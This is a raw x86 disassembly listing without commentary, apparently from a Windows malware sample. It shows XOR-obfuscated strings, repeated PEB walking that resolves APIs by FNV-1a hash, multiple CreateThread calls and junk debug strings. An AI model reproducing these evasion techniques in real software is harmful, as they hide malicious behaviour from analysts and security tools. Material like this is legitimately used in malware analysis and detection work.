movq qword [esp + 0x98], xmm0
xor ecx, ecx
mov word [esp + 0xa0], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x96], al
inc ecx
cmp ecx, 2
jb 0x47e693
lea eax, [esp + 0x96]
mov dword [0x55d598], ecx
push eax
lea ecx, [esp + 0xb0]
mov byte [esp + 0x9c], 0
call fcn.00402ab0
lea ecx, [esp + 0xac]
call fcn.00402b50
push ebx
lea ecx, [esp + 0xc8]
mov esi, eax
call fcn.00402b60
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47e6e6
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0xcc]
call fcn.00402b80
xorps xmm0, xmm0
mov dword [esp + 0x1eb], 0xb4fbeabb
movq qword [esp + 0x1ef], xmm0
xor ecx, ecx
mov word [esp + 0x1f7], 0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x1eb], al
inc ecx
cmp ecx, 4
jb 0x47e720
lea eax, [esp + 0x1eb]
mov dword [0x55d5d8], ecx
push eax
lea ecx, [esp + 0x44]
mov byte [esp + 0x1f3], 0
call fcn.00402ab0
lea ecx, [esp + 0x40]
call fcn.00402b50
push dword [esp + 0x10]
lea ecx, [esp + 0x64]
mov esi, eax
call fcn.00402b60
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x47e770
sub ecx, edx
push ecx
push esi
lea ecx, [esp + 0x68]
call fcn.00402b80
lea eax, [esp + 0xc4]
push eax
lea edx, [esp + 0x64]
lea ecx, [esp + 0x4c4]
call fcn.0040e370
add esp, 4
lea ecx, [esp + 0x60]
call fcn.00402a10
lea ecx, [esp + 0x40]
call fcn.00402a10
lea ecx, [esp + 0xc4]
call fcn.00402a10
lea ecx, [esp + 0xac]
call fcn.00402a10
jmp 0x47e5f2
lea ecx, [esp + 0x478]
call fcn.004802e0
lea eax, [esp + 0x550]
push eax
lea ecx, [esp + 0x47c]
call fcn.00484530
test al, al
je 0x47dcf0
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
sub esp, 0x18
lea eax, [esp + 0x4d8]
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
lea eax, [esp + 0x508]
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
lea eax, [esp + 0x538]
mov ecx, esp
push eax
call fcn.00483010
call fcn.00409850
push 0x542e38
call fcn.00402f90
add esp, 0x4c
cmp byte [0x55ce49], 0
jne 0x47fa9f
call fcn.0045fcd0
call fcn.004637c0
push str.sergersrs
call esi
mov ecx, 0x55cfd4
call fcn.00480130
mov ecx, 0x55d0f8
call fcn.00480130
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x4648f0
push 0
push 0
call esi
push 0
push 0
push 0
push 0x465f20
push 0
push 0
mov dword [esp + 0xf4], eax
call esi
push 0
push 0
push 0
push 0x46cbf0
push 0
push 0
mov dword [esp + 0xf8], eax
call esi
mov dword [esp + 0xe4], eax
call fcn.0044a530
test al, al
je 0x47e9df
lea ecx, [esp + 0x828]
call fcn.0044abe0
movaps xmm0, xmmword [0x548510]
mov ebx, eax
movups xmmword [esp + 0x488], xmm0
xor edx, edx
lea ecx, [edx - 0x79]
xor byte [esp + edx + 0x488], cl
inc edx
cmp edx, 6
jb 0x47e8f0
lea eax, [esp + 0x488]
mov dword [0x55d548], edx
push eax
lea ecx, [esp + 0x854]
mov byte [esp + 0x492], 0
call fcn.00402ab0
lea ecx, [esp + 0x850]
call fcn.00402b50
movaps xmm0, xmmword [0x547040]
mov edi, eax
mov word [esp + 0x3da], 0xe9d1
xor ecx, ecx
movups xmmword [esp + 0x3dc], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x3da], al
inc ecx
cmp ecx, 8
jb 0x47e950
lea eax, [esp + 0x3da]
mov dword [0x55d624], ecx
push eax
lea ecx, [esp + 0x83c]
mov byte [esp + 0x3e6], 0
call fcn.00402ab0
sub esp, 0x10
mov ecx, ebx
mov esi, esp
push edi
call fcn.00486ff0
push eax
mov ecx, esi
call fcn.00480b60
lea ecx, [esp + 0x848]
call fcn.00402b50
push eax
mov ecx, 0x55d090
call fcn.00486ff0
mov ecx, eax
call fcn.00480b20
lea ecx, [esp + 0x838]
call fcn.00402a10
lea ecx, [esp + 0x850]
call fcn.00402a10
lea ecx, [esp + 0x828]
call fcn.00480b00
call fcn.0044abb0
lea ecx, [esp + 0x818]
call fcn.0044bea0
movaps xmm0, xmmword [0x548510]
mov ebx, eax
movups xmmword [esp + 0x498], xmm0
xor edx, edx
nop
lea ecx, [edx - 0x79]
xor byte [esp + edx + 0x498], cl
inc edx
cmp edx, 6
jb 0x47ea00
lea eax, [esp + 0x498]
mov dword [0x55d548], edx
push eax
lea ecx, [esp + 0x884]
mov byte [esp + 0x4a2], 0
call fcn.00402ab0
lea ecx, [esp + 0x880]
call fcn.00402b50
movaps xmm0, xmmword [0x549ce0]
mov edi, eax
movups xmmword [esp + 0x45c], xmm0
mov word [esp + 0x46c], 0xebfb
xor ecx, ecx
xorps xmm0, xmm0
mov word [esp + 0x476], 0
movq qword [esp + 0x46e], xmm0
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x45c], al
inc ecx
cmp ecx, 0x12
jb 0x47ea71
lea eax, [esp + 0x45c]
mov dword [0x55d5dc], ecx
push eax
lea ecx, [esp + 0x86c]
mov byte [esp + 0x472], 0
call fcn.00402ab0
sub esp, 0x10
mov ecx, ebx
mov esi, esp
push edi
call fcn.00486ff0
push eax
mov ecx, esi
call fcn.00480b60
lea ecx, [esp + 0x878]
call fcn.00402b50
push eax
mov ecx, 0x55d090
call fcn.00486ff0
mov ecx, eax
call fcn.00480b20
lea ecx, [esp + 0x868]
call fcn.00402a10
lea ecx, [esp + 0x880]
call fcn.00402a10
lea ecx, [esp + 0x818]
call fcn.00480b00
mov eax, dword fs:[0x30]
mov dword [esp + 0x38], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0xc], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x47eb84
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47eb84
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47eb7d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47eb60
cmp esi, 0x71948ca4
je 0x47eb88
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47eb44
mov eax, dword [eax]
jmp 0x47eb10
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x38]
add edi, edx
call fcn.00484cd0
lea ecx, [esp + 0xdc]
mov esi, dword [eax]
call fcn.00484cd0
push esi
push dword [eax]
call edi
push 0
push 0x4330d40e
call fcn.004080b0
add esp, 8
push eax
push dword [esp + 0xe4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0x38], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0xc], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
lea ecx, [esi + edx]
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x47ec64
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47ec64
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47ec5d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47ec40
cmp esi, 0x71948ca4
je 0x47ec68
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47ec24
mov eax, dword [eax]
jmp 0x47ebf0
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x38]
add edi, edx
call fcn.00484cd0
lea ecx, [esp + 0xe4]
mov esi, dword [eax]
call fcn.00484cd0
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0xc], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
lea ecx, [esi + edx]
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x47ed24
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47ed24
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47ed1d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47ed00
cmp esi, 0xfaba0065
je 0x47ed28
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47ece4
mov eax, dword [eax]
jmp 0x47ecb0
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xdc]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0xc], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x47edd4
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47edd4
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47edcd
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47edb0
cmp esi, 0xfaba0065
je 0x47edd8
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47ed94
mov eax, dword [eax]
jmp 0x47ed60
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xe0]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0xc], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov ecx, dword [ecx + esi + 0x7c]
mov dword [esp + 0x14], ecx
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x47ee84
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47ee84
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47ee7d
nop dword [eax]
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47ee60
cmp esi, 0xfaba0065
je 0x47ee88
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47ee44
mov eax, dword [eax]
jmp 0x47ee10
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xe4]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x46d5a0
push 0
push 0
call ebx
push 0
push 0
push 0
push 0x470310
push 0
push 0
mov dword [esp + 0x100], eax
call ebx
push 0
push 0
push 0
push 0x4736e0
push 0
push 0
mov dword [esp + 0x104], eax
call ebx
push 0
push 0
push 0
push 0x476650
push 0
push 0
mov dword [esp + 0x50], eax
call ebx
push 0
push 0
push 0
push 0x478a50
push 0
push 0
mov dword [esp + 0x108], eax
call ebx
push 0
push 0
push 0
push 0x478ca0
push 0
push 0
mov dword [esp + 0x10c], eax
call ebx
push 0
push 0
push 0
push 0x47b5f0
push 0
push 0
mov dword [esp + 0x110], eax
call ebx
sub esp, 0x18
mov dword [esp + 0xbc], eax
mov ecx, esp
push 0x55aae4
call fcn.00483010
sub esp, 0x18
lea eax, [esp + 0x5a8]
mov ecx, esp
push eax
call fcn.00483010
sub esp, 0x18
mov ecx, esp
lea eax, [esp + 0x5a8]
push eax
call fcn.00483010
sub esp, 0x18
mov ecx, esp
push 0x55aafc
call fcn.00483010
call fcn.0040fcb0
mov eax, dword fs:[0x30]
add esp, 0x60
mov dword [esp + 0x10], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0xc], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x24], edx
lea ecx, [edx + esi]
mov dword [esp + 0x24], ecx
cmp ecx, esi
je 0x47f029
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f029
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f022
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f005
cmp esi, 0x71948ca4
je 0x47f02d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47eff0
mov eax, dword [eax]
jmp 0x47efc0
mov eax, dword [esp + 0x24]
mov edx, dword [esp + 0xc]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0x10]
add edi, edx
call fcn.00484cd0
lea ecx, [esp + 0xe8]
mov esi, dword [eax]
call fcn.00484cd0
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov dword [esp + 0xc], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f0e9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f0e9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f0e2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f0c5
cmp esi, 0x71948ca4
je 0x47f0ed
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47f0b0
mov eax, dword [eax]
jmp 0x47f080
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0xc]
add edi, edx
call fcn.00484cd0
lea ecx, [esp + 0xec]
mov esi, dword [eax]
call fcn.00484cd0
push esi
push dword [eax]
call edi
push 0x493e0
push dword [esp + 0x3c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0xc], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f1b9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f1b9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f1b2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f195
cmp esi, 0x71948ca4
je 0x47f1bd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47f180
mov eax, dword [eax]
jmp 0x47f150
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0xc]
add edi, edx
call fcn.00484cd0
lea ecx, [esp + 0xf0]
mov esi, dword [eax]
call fcn.00484cd0
push esi
push dword [eax]
call edi
push 0x493e0
push dword [esp + 0xf8]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword fs:[0x30]
mov dword [esp + 0xc], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop word [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f289
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f289
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f282
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f265
cmp esi, 0x71948ca4
je 0x47f28d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47f250
mov eax, dword [eax]
jmp 0x47f220
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0xc]
add edi, edx
call fcn.00484cd0
lea ecx, [esp + 0xf8]
mov esi, dword [eax]
call fcn.00484cd0
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov dword [esp + 0xc], 0x493e0
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop dword [eax + eax]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f349
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f349
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f342
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f325
cmp esi, 0x71948ca4
je 0x47f34d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47f310
mov eax, dword [eax]
jmp 0x47f2e0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov edi, dword [ecx + eax*4]
lea ecx, [esp + 0xc]
add edi, edx
call fcn.00484cd0
lea ecx, [esp + 0xa4]
mov esi, dword [eax]
call fcn.00484cd0
push esi
push dword [eax]
call edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f3f9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f3f9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f3f2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f3d5
cmp esi, 0xfaba0065
je 0x47f3fd
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47f3c0
mov eax, dword [eax]
jmp 0x47f390
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xe8]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f499
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f499
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f492
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f475
cmp esi, 0xfaba0065
je 0x47f49d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47f460
mov eax, dword [eax]
jmp 0x47f434
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xec]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
nop
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f549
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f549
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
nop dword [eax]
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f542
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f525
cmp esi, 0xfaba0065
je 0x47f54d
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47f510
mov eax, dword [eax]
jmp 0x47f4e0
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xf0]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [esi + edx]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f5e9
mov edi, dword [ecx + 0x18]
test edi, edi
je 0x47f5e9
mov ecx, dword [ecx + 0x20]
lea ebx, [ecx + edi*4]
add ebx, esi
mov edx, dword [ebx - 4]
lea ebx, [ebx - 4]
add edx, esi
dec edi
mov esi, 0x811c9dc5
mov cl, byte [edx]
inc edx
test cl, cl
je 0x47f5e2
movsx ecx, cl
lea edx, [edx + 1]
xor ecx, esi
imul esi, ecx, 0x1000193
mov cl, byte [edx - 1]
test cl, cl
jne 0x47f5c5
cmp esi, 0xfaba0065
je 0x47f5ed
mov esi, dword [eax + 0x18]
test edi, edi
jne 0x47f5b0
mov eax, dword [eax]
jmp 0x47f584
mov eax, dword [esp + 0x10]
mov edx, dword [esp + 0x24]
mov ecx, dword [eax + 0x1c]
mov eax, dword [eax + 0x24]
add ecx, edx
add eax, edx
movzx eax, word [eax + edi*2]
mov esi, dword [ecx + eax*4]
lea ecx, [esp + 0xf4]
add esi, edx
call fcn.00484cd0
push dword [eax]
call esi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x18]
mov dword [esp + 0x24], esi
mov ecx, dword [esi + 0x3c]
mov edx, dword [ecx + esi + 0x78]
mov dword [esp + 0x10], edx
lea ecx, [edx + esi]
mov dword [esp + 0x10], ecx
cmp ecx, esi
je 0x47f689
cmp byte [0x55ce43], 0
je 0x47fab4
cmp byte [esp + 0x23], 0
jne 0x47fab4
call fcn.0041cde0
lea ecx, [esp + 0x4c0]
call fcn.00402a10
lea ecx, [esp + 0x4d8]
call fcn.00402a10
lea ecx, [esp + 0x4f0]
call fcn.00402a10
lea ecx, [esp + 0x99c]
call fcn.0047fe20
lea ecx, [esp + 0x994]
call fcn.0047fe80
lea ecx, [esp + 0x4a8]
call fcn.00402a10
lea ecx, [esp + 0x578]
call fcn.00402a10
lea ecx, [esp + 0x560]
call fcn.00402a10
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push str.gdry4645
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp byte [0x55ce43], 0
je 0x47fcbb
cmp byte [esp + 0x23], 0
je 0x47fcbb
movaps xmm0, xmmword [0x547ba0]
xor ecx, ecx
mov word [esp + 0x3ec], 0xf8f4
movups xmmword [esp + 0x3ee], xmm0
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [esp + ecx + 0x3ec], al
inc ecx
cmp ecx, 8
jb 0x47fb60
